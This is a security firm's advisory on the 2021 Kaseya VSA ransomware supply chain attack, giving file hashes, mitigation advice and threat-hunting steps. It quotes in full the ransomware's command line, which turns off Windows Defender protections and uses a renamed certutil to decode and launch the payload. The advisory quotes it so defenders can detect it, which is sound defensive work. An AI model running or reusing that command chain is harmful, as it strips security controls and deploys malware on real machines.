SYGNIA

Home / Threat Reports and Advisories / Kaseya Ransomware Supply Chain Attack

Kaseya Ransomware Supply Chain Attack

Get a deep dive into the Kaseya ransomware attack, and how you can deploy effective defense strategies.

1 August 2021

On July 2nd, several managed service providers reported numerous ransomware incidents affecting their clients via Kaseya VSA – an endpoint monitoring and patch management solution used by over 40,000 customers. Further analysis confirmed that REvil (also known as Sodinokibi), a known ransomware threat actor group, reportedly exploited a Zero-Day in Kaseya VSA servers in a massive supply chain attack, and uploaded a malicious update that deploys ransomware to Kaseya managed endpoints.

Kaseya has instructed its clients to shutdown their on-prem VSM servers. While the company claims its SaaS customers are unaffected, it has taken down its cloud based services as a precaution.

So far, hundreds of companies have been reportedly affected by the Kaseya malicious VSM update.

While these attacks are still under investigation, some Indicators of Compromise have already been published and we urge companies to ensure these IoCs are updated in their host and network security solutions.

CONTACT US

Known indicators of compromise

Ensure your endpoint protection agents flag these files as malicious (SHA 256):

- d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e
- 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd
- e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2

Recommendations

- If you have devices managed by Kaseya VSA on-premises servers, we recommend shutting down the servers immediately, until Kaseya addresses this issue. This is time critical, as disabling administrative access to VSA is a known method of operation for the attackers.
- While currently it seems like the ransomware cannot propagate without the Kaseya agent, we suggest validating the ransomware cannot deploy itself to other workstations/laptops by blocking common ports/services used for lateral movement and command execution (SMB,WMI).
- Ransomware is dropped to “c:\kworking\agent.exe” – as a temporary precaution, consider using application whitelisting tools to block execution of binaries from “c:\kworking”.
- Note that the ransomware attempts to disable Winnows Defender by executing the following command line:
- *cmd.exe /c ping 127.0.0.1 -n6745 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode-Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe &*

```
C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe ??> powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
```

- If you use Windows Defender, enable tamper protection – https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide
- Ensure that you have offline backups of critical servers and applications, and that your network is “Ransomware Ready”.
- Perform focused hunting activities for this attack by customizing these guidelines to the environment. Sygnia will be able to support such activities if required.

If you were impacted by this attack or are seeking guidance on how to become “Ransomware Ready” and prevent similar attacks, please contact us at contact@sygnia.co or our 24 hotline +1-877-686-8680

Focused hunting recommendations

- Search for device process events where the process command line includes “c:\kworking\agent.exe” or “c:\kworking\agent.crt”.
- Search for the presence of the known malicious hashes (as appeared above).
- Search for the existence of the known malicious DLL file “C:\Windows\mpsvc.dll”, or other irregular suspicious DLL files that were recently created in the “C:\Windows\” folder.
- Search for allow inbound traffic to the currently known threat actor IP address 18[.]223.199.234.
- Examine the web access logs for allowed sequential requests to these three following resources: *“/dl.asp”, “/KUpload.dll”, “/userFilterTableRpt.asp”*
- Search for newly created files on named “agent.crt” or “Screenshot.jpg” on the VSA servers.
- Examine the logs in the file “C:\ProgramData\Kaseya\Kupload\KUpload.log” to search for suspicious file uploads to the VSA servers, specifically named “agent.crt” or “Screenshot.jpg”.
- Search for suspicious processes that contain unique strings from the command line as appeared above, specifically if the processes were spawned by the parent process “AgentMon.exe”. As an example, unique strings to search by may be: *“DisableRealtimeMonitoring”, “DisableIntrusionPreventionSystem” , “isableIOAVProtection”*
- Search for a Registry key called “BlackLivesMatter”, specifically in: “HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node”.
- Search for recently disabled users on the VSA servers.
- Verify no recent malicious file alerts were missed across the environment, specifically under the threat name of “Sodinokibi” or “Sodin”, or in relation to Ransomware detections.
- Check to see if the Anti-Virus software on the VSA servers is in an unexpected disabled state.
- Leverage Firewall, EDR, proxy logs and/or DNS auditing, to review the rarest domains that the VSA servers recently communicated with an look for an irregular/suspicious domain which may have servers as a C&C server.

Additional reading

1. https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689
2. https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/
3. https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b

RELATED ARTICLES

CrowdStrike Fallout: Navigating the Risks of Intrusive Security Tools

10 October 2024

China-Nexus Threat Group ‘Velvet Ant’ Leverages a Zero-Day to Deploy Malware on Cisco Nexus Switches

22 August 2024

What is a Rootkit? Exploring the Hidden Threats and Their Impact on System Security

12 August 2024

Incident Response Readiness: What is it and how to improve it?

11 August 2024

CONTACT US

RELATED ARTICLES

BLOG

CrowdStrike Fallout: Navigating the Risks of Intrusive Security Tools

Learn how to balance robust cybersecurity with operational stability in the wake of the CrowdStrike outage.

Read more →

← →

Want to get in touch?

Contact us →

CONTACT US

Subscribe to newsletter

By clicking Subscribe, I agree to the use of my personal data in accordance with Sygnia Privacy Policy. Sygnia will not sell, trade, lease, or rent your personal data to third parties.

SYGNIA

Company	Services	Technologies
About	Know	Velocity XDR

Careers

Prepare
Simulate
Detect
Respond & Recover

Enterprise Solutions

OT Security
Cloud Security
Ransomware Readiness

Knowledge Center

Blog
Reports and advisories

Privacy | Terms of use

CONTACT US